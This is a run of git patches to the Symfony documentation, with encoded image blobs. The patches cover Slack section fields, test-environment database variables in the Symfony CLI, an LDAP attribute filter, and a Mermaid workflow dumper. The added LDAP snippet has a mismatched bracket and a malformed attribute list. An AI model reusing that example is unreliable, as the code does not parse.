zbnk+f7yn_<vO5?V(rK&@NHbtORgmG(DP{4{=a1iZ!vSk4h)DM}Q3@%$aXw(8XS7@I
zg?Ijxt)BTGcs~znRfElkE|r>LzyZCr?-ozyGRRwOc2it2C8XDQTh;$Y0LZYu>!W@K
z^u`<`!o}+v;np$|Pj=!Pq8FD>|4%bTNRbC|BrgE0Cjz9;k3Hq0&5&)>;l6SWTSY)2
zDOP4NdaASe5ks!n;jz{Y?S$PP%|mi*r~Ts9>mvsPpjjJpEi_`hTqeKrxLNAxf3O+t
zKiG_D`$z11fcMK48M7UcOJ>P^eHO6sTCMx6W3N2Gcqs0JWCB&;lM3#%O>|7Ir&krb
z%@Q47<F&jL2t?#f7JcHc7ZuRj(Fsk+2tx5pJ=V0UmCq8Ms8W^lNb|FL*(50-fV_T&
zb-ja2BoJ;|n@AAl{34~V<W0TMKfpiW<?j<fCU86=W5m&~!MTwPv(lMz_zicE_+%0p
zKK|?srcMMzjKbD$ZxHe0oc3oVa)G4hKvEoX$ENK$uj>kFj#4&5z7DJ&<por5GJuCi
zw-3J&@~?%yuQ2Gt7&7eukSma3d};R)w(Ue2YjUyi9X03)MHiU!qSC4_S1SAP@iRkl
zitSZj&Jj|^_GspeVCL=l*8Q#=kWV`L0I4;L{f0RGe!d`*3sM}2P(ie%^SR2i;cTMK
z=Q+xnF*x4{*ie0SQQEu6x8|pAeIk4j9@3e%m&6p46zc(X@a`D<{&2o77SL|{i<7G^
zgfM&~p<pa0szVwlzQX+@tOl?_JVSRt@4(}*M*~>Mf^0j#8M?*&5`fneJJI}p5%YC6
zW!^c;MM_iDsenFhdWkI7W<LGBP!YF8qe0S3RxX1V`{1av4b~w<|BeELpl412SEnaC
zVMnm;_ltlQco6{v;6uV+7_7LxR*CI8Z=f3wkG4uFdy3IC*=@eSZZqz9|BGrmewuMP
zY{UVQ(pxMfp`d@LUL+N0PHefED?0+XB2}!{_mH%d+Ieh~KA3u|t^jHJ8f<o?X1i_i
z{t6jys>Q=4J?6!(tpSHIr7spH5r#pZV^LRnTr}Vbj1!YMSnE;}&#aHTPV2M%;tP4^
zJ1PTU42NZ3dCq6xoq;fZ&f4iqJw4nyWylV#VsqIWsyA8|$|9n}<Qv8QMlfVZL;%+Y
zR>A2_@z9FFs6nS%s`Ulf%XUB~Nw7bk4X-18a+@K3<Ct<;fN(2bCccXLgGBJs+I=WY
z`#X+NoBn}O|EU{63V<<sHuyY$Go3=fIp!l&4~dt_^#AVr?-)e>Z;#8$Gm(wrD8$^;
R>dW5(N{GpdmI~|o{SO+qaeM#(

literal 0
HcmV?d00001

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index da11c8858b9..318ed8c74d7 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -98,6 +98,44 @@ to add some interactive options called `Block elements`_::
 
     $chatter->send($chatMessage);
 
+Adding Fields and Values to a Slack Message
+-------------------------------------------
+
+To add fields and values to your message you can use the
+:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/field-method.png
+   :align: center
+
+.. versionadded:: 5.1
+
+    The `field()` method was introduced in Symfony 5.1.
+
 Adding Interactions to a Discord Message
 ----------------------------------------
 

From 6b105893cfe25b8b34cddd504a230d3c38e5220a Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Mon, 12 Apr 2021 23:21:43 +0200
Subject: [PATCH 2050/7107] [Symfony CLI] Document about `APP_ENV=test`
 behavior

Running the Symfony CLI with `APP_ENV=test` has an interesting but undocumented behaviour, it updates `DATABASE_*` environment variables for a test environment.
---
 setup/symfony_server.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index f0723c20ea1..580af42bfba 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -322,6 +322,22 @@ prefixed with ``DB_``, but as the ``com.symfony.server.service-prefix`` is set
 to ``DATABASE``, the web server creates environment variables starting with
 ``DATABASE_`` instead as expected by the default Symfony configuration.
 
+You don't need to create two containers for a main database and a test database.
+Using `APP_ENV=test symfony` will automatically adjust `DATABASE_*` environment variables
+for a test environment.
+
+.. code-block:: terminal
+
+    $ symfony var:export --multiline 
+    export DATABASE_DATABASE=app
+    export DATABASE_NAME=app
+    export DATABASE_URL=postgres://app:app@127.0.0.1:49160/app?sslmode=disable&charset=utf8
+
+    $ APP_ENV=test symfony var:export --multiline 
+    export DATABASE_DATABASE=app_test
+    export DATABASE_NAME=app_test
+    export DATABASE_URL=postgres://app:app@127.0.0.1:49160/app_test?sslmode=disable&charset=utf8
+
 Here is the list of supported services with their ports and default Symfony
 prefixes:
 

From 2e77005d76dff81a99055f7eca8286bec44f850e Mon Sep 17 00:00:00 2001
From: Jason Aller <jraller@gmail.com>
Date: Thu, 8 Apr 2021 13:29:05 -0700
Subject: [PATCH 2051/7107] [Ldap] Update ldap.rst

---
 components/ldap.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index d7cb6ed17cd..60c4629fec9 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -115,6 +115,11 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
     $query = $ldap->query('dc=symfony,dc=com', '...', ['scope' => QueryInterface::SCOPE_ONE]);
 
+To retrieve only specific attributes you can specify which attributes you want returned using 
+the ``filter`` option::
+
+    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn, mail']);
+
 Creating or Updating Entries
 ----------------------------
 

From 4586d288f27709970e2c60f6c51ccd66d5e4667e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Apr 2021 08:57:23 +0200
Subject: [PATCH 2052/7107] Minor reword

---
 components/ldap.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/ldap.rst b/components/ldap.rst
index 60c4629fec9..5b16a3ffb97 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -115,8 +115,7 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
     $query = $ldap->query('dc=symfony,dc=com', '...', ['scope' => QueryInterface::SCOPE_ONE]);
 
-To retrieve only specific attributes you can specify which attributes you want returned using 
-the ``filter`` option::
+Use the ``filter`` option to only retrieve some specific attributes:
 
     $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn, mail']);
 

From 5529b12eb11e8557c6f94fc663bee2beb42c0490 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Apr 2021 12:00:38 +0200
Subject: [PATCH 2053/7107] Minor tweak

---
 setup/symfony_server.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 580af42bfba..7420a822ab6 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -322,9 +322,9 @@ prefixed with ``DB_``, but as the ``com.symfony.server.service-prefix`` is set
 to ``DATABASE``, the web server creates environment variables starting with
 ``DATABASE_`` instead as expected by the default Symfony configuration.
 
-You don't need to create two containers for a main database and a test database.
-Using `APP_ENV=test symfony` will automatically adjust `DATABASE_*` environment variables
-for a test environment.
+You don't need to create two containers for the main database and the test
+database. Using ``APP_ENV=test symfony`` will automatically adjust
+``DATABASE_*`` environment variables for the ``test`` environment:
 
 .. code-block:: terminal
 

From 3780af231b78da570d6d1bf757b9206c29e1cc7e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl?= <50833583+Mis0u@users.noreply.github.com>
Date: Tue, 13 Apr 2021 14:08:16 +0200
Subject: [PATCH 2054/7107] Update login_link.rst

I propose this change to manage the case of the link is invalid
---
 security/login_link.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index 456cfc706c6..f7f5e36751e 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -739,3 +739,5 @@ Then, configure this service ID as the ``success_handler``:
                 ],
             ],
         ]);
+        
+If you want to manage the failure for example the link is expires, use 'failure_handler' and implements "AuthenticationFailureHandlerInterface" instand of "AuthenticationSuccessHandlerInterface"

From b7340c7e7633177d37230bda2923bf3b1cb1d01d Mon Sep 17 00:00:00 2001
From: Stefan Graupner <efrane@meanderingsoul.com>
Date: Sun, 14 Mar 2021 15:38:24 +0100
Subject: [PATCH 2055/7107] [Workflow] Add info about MermaidDumper

[Workflow] rst syntax fixes
---
 .../components/workflow/blogpost_mermaid.png  | Bin 0 -> 24123 bytes
 workflow/dumping-workflows.rst                |  20 +++++++++++++++++-
 2 files changed, 19 insertions(+), 1 deletion(-)
 create mode 100644 _images/components/workflow/blogpost_mermaid.png

diff --git a/_images/components/workflow/blogpost_mermaid.png b/_images/components/workflow/blogpost_mermaid.png
new file mode 100644
index 0000000000000000000000000000000000000000..b0ffbc984c9dc40ef086aa3cc2f0029ca974a284
GIT binary patch
literal 24123
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
